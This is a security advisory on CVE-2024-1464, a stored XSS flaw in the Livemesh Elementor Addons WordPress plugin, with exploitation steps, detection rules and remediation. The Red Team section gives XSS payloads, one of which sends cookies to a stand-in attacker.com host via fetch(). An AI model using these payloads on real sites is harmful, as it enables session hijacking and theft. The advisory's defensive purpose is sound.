CVE-2024-1464

Executive Summary

CVE-2024-1464 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Addons by Livemesh WordPress plugin, affecting all versions up to and including 8.3.4. The flaw resides in the Posts Slider widget, where the style attribute is not properly sanitized or escaped. This allows authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. When a user visits a page containing the malicious payload, the script executes in their browser, potentially leading to session hijacking, data theft, or further compromise.

This vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The CVSS score of 6.4 (Medium) reflects the need for authentication but the potential for widespread impact due to the stored nature of the attack.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a WordPress plugin issue. However, administrators should verify the integrity of the plugin files and ensure no unauthorized modifications have been made.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access or higher.
• User Interaction (UI): None (N) – No user action is required for the exploit to execute.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the original scope.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can affect all users visiting the compromised page.

Deep Dive & Mechanics

The vulnerability is in the Posts Slider widget of the Elementor Addons by Livemesh plugin. The widget allows users to customize the appearance of post sliders, including the style attribute. Due to insufficient input sanitization and output escaping, an attacker can inject malicious JavaScript code into the style attribute.

When the page is rendered, the injected script executes in the context of the victim's browser. This can be used to steal cookies, redirect users to malicious sites, or perform actions on behalf of the victim.

The attack flow:

1. An authenticated user with contributor-level access or higher creates or edits a page using the Posts Slider widget.
2. The attacker injects a malicious payload into the style attribute, e.g., style="background: url('javascript:alert(1)')".
3. The payload is stored in the WordPress database.
4. When any user (including administrators) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (<= 8.3.4): The plugin likely outputs the style attribute directly without proper escaping:

echo '<div style="' . $style . '">';

Patched Code (Hypothetical): The patched version would escape the style attribute:

echo '<div style="' . esc_attr($style) . '">';

Since no official patch is available, users must apply the workarounds described in the Remediation section.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Elementor Addons by Livemesh <= 8.3.4.
• A user account with contributor-level access or higher.

Exploitation Steps:

1. Log in to WordPress as a contributor.
2. Create a new page or edit an existing one.
3. Add the Posts Slider widget.
4. In the widget settings, locate the style attribute field.
5. Inject a payload such as:

   style="background: url('javascript:alert(document.cookie)')"
   

6. Save and publish the page.
7. When an administrator or other user visits the page, the script executes.

Alternative Payload:

style="background: url('javascript:fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)')"

Blue Team

Detection:

• Monitor for unusual style attribute values in page content.
• Look for patterns like javascript: or onerror= in the style attribute.
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Restrict contributor-level access to trusted users only.
• Use a Web Application Firewall (WAF) to block malicious payloads.
• Apply the workarounds described in the Remediation section.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (None available)
• Network Indicators:
  • Outbound connections to attacker-controlled domains.
  • HTTP requests containing javascript: in the style attribute.
• Log Entries:
  • WordPress audit logs showing modification of page content with suspicious style attributes.
  • Web server logs with requests to pages containing the malicious payload.

Detection Engineering

YARA Rule

rule CVE_2024_1464_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WordPress pages targeting CVE-2024-1464"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1464"
    strings:
        $style_payload = /style\s*=\s*["'][^"']*javascript:/i
        $style_onerror = /style\s*=\s*["'][^"']*onerror\s*=/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1464 Stored XSS in Elementor Addons by Livemesh
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS payloads in WordPress pages
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 'style='
        cs-uri-query|re: 'javascript:|onerror='
    condition: selection
falsepositives:
    - Legitimate use of CSS with javascript: (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1464 Stored XSS in Elementor Addons by Livemesh"; flow:to_server,established; content:"style="; nocase; pcre:"/style\s*=\s*["'][^"']*javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not critical to operations.
2. Restrict contributor-level access to only trusted users.
3. Use a Web Application Firewall (WAF) to block requests containing javascript: in the style attribute.

Long-term Fix:

• Monitor the Livemesh website for an official patch. Once available, update to the patched version immediately.
• If no patch is released, consider replacing the plugin with an alternative.

Workaround:

• Manually sanitize the style attribute by adding a custom filter in WordPress:

  add_filter('elementor/widget/render_content', function($content) {
      $content = preg_replace('/style\s*=\s*["\'][^"\']*javascript:[^"\']*["\']/i', '', $content);
      return $content;
  });
  

Valters IT
Securing Digital Frontiers